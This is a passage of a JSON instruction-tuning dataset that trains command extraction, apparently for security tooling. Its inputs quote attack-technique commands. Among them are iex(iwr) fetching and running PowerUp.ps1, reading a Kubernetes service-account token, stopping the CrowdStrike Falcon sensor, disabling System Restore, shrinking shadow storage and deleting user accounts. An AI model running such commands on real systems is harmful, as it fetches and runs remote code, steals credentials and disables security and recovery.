English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To disable SELinux enforcement, use the following command: setenforce 0; You can stop and disable the Crowdstrike Falcon service on Linux by executing this command: sudo systemctl stop falcon-sensor.service\nsudo systemctl disable falcon-sensor.service\n", "output": "{\"command_list\": [\"setenforce 0\\n\", \"sudo systemctl stop falcon-sensor.service\\nsudo systemctl disable falcon-sensor.service\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To remove a file's immutable attribute, which was a technique employed by the threat actor Rocke during Linux web server compromises, use the following commands:\ntouch #{file_to_modify}\nchflags simmutable #{file_to_modify}\nchflags nosimmutable #{file_to_modify}\n; The file ownership can be modified to root by running this command: sudo #{compiled_file} #{source_file}", "output": "{\"command_list\": [\"touch #{file_to_modify}\\nchflags simmutable #{file_to_modify}\\nchflags nosimmutable #{file_to_modify}\\n\", \"sudo #{compiled_file} #{source_file}\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The service account token stored within a container can be accessed with the command: kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token; This operation queries multiple Windows Registry locations for persistence techniques, with results varying by OS version, via the command: reg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\"\nreg query \"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query \"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\"\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \".*\\\\.sys$\"\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\"\nreg query \"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\"", "output": "{\"command_list\": [\"kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token\\n\", \"reg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Windows\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServicesOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunServices\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Notify\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\Userinit\\\"\\nreg query \\\"HKCU\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\\\\\Shell\\\"\\nreg query HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\ShellServiceObjectDelayLoad\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnce\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Policies\\\\Explorer\\\\Run\\nreg query HKLM\\\\system\\\\currentcontrolset\\\\services /s | findstr ImagePath 2>nul | findstr /Ri \\\".*\\\\.sys$\\\"\\nreg query HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\nreg query HKLM\\\\SYSTEM\\\\CurrentControlSet\\\\Control\\\\SafeBoot\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Active Setup\\\\Installed Components\\\"\\nreg query \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Group Policy\\\\Scripts\\\\Startup\\\"\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n For reading TLS communications via PowerShell hooks, execute this command: mavinject $pid /INJECTRUNNING \"#{file_name}\"\nInvoke-WebRequest #{server_name} -UseBasicParsing; To enable remote PowerShell access, use the following command: Enable-PSRemoting -Force", "output": "{\"command_list\": [\"mavinject $pid /INJECTRUNNING \\\"#{file_name}\\\"\\nInvoke-WebRequest #{server_name} -UseBasicParsing\\n\", \"Enable-PSRemoting -Force\\n\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n The registry can be modified to disable system restore by using reg.exe with these commands in the cmd console: \nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableConfig\" /t \"REG_DWORD\" /d \"1\" /f\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SystemRestore\" /v \"DisableSR\" /t \"REG_DWORD\" /d \"1\" /f\n; To prevent shadow volumes from being recreated, adversaries often resize the shadowstorage volume, which can be done with the following command: vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%", "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows NT\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableConfig\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\nreg add \\\"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\SystemRestore\\\" /v \\\"DisableSR\\\" /t \\\"REG_DWORD\\\" /d \\\"1\\\" /f\\n\", \"vssadmin resize shadowstorage /For=C: /On=C: /MaxSize=20%\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n Another Example Input:\n \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n Expected Output:\n {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n ", "input": "\n Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Here is the text you need to analyze:\n To delete the specified user account, use the following command: sysadminctl -deleteUser #{user_account} #enter admin password; Adversaries can inhibit resource availability by removing user accounts with this Azure AD command: Connect-AzureAD\n$userprincipalname = \"#{userprincipalname}\"\nRemove-AzureADUser -ObjectId $userprincipalname", "output": "{\"command_list\": [\"sysadminctl -deleteUser #{user_account} #enter admin password\\n\", \"Connect-AzureAD\\n$userprincipalname = \\\"#{userprincipalname}\\\"\\nRemove-AzureADUser -ObjectId $userprincipalname\"]}" }, { "instruction": "\n Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n Your task is to:\n 1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n 2. If commands exist, extract them completely and accurately.\n 3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n 4. Ignore all non-command content that precedes or follows the command.\n 5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n 6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n 7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n 8. Preserve newline characters such as '\n'.\n\n Important Instructions:\n\n - Do NOT split multi-line commands based on line breaks.\n - Treat full script blocks as a single command, including but not limited to:\n - `try { ... } catch { ... }`\n - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n - Multiple commands separated by semicolons (`;`)\n - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n - Function definitions and invocations\n\n ⚠️ Special Attention Required ⚠️:\n - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n - An SCG is defined as a sequence of command lines where:\n - No intervening English description or technical explanation exists;\n - All lines are syntactically valid;\n - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n Preserve complete syntax structures and logical groupings.\n If unsure, prefer extracting the entire block rather than fragmenting it.\n Stop extraction immediately when you encounter English explanation or technical description.\n Avoid extracting anything that looks like an English phrase or technical explanation.\n\n Return output in the following format:\n {\n \"command_list\": [\"command1\", \"command2\", ...]\n }\n\n Example Input:\n \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n Expected Output:\n {\"command_list\": 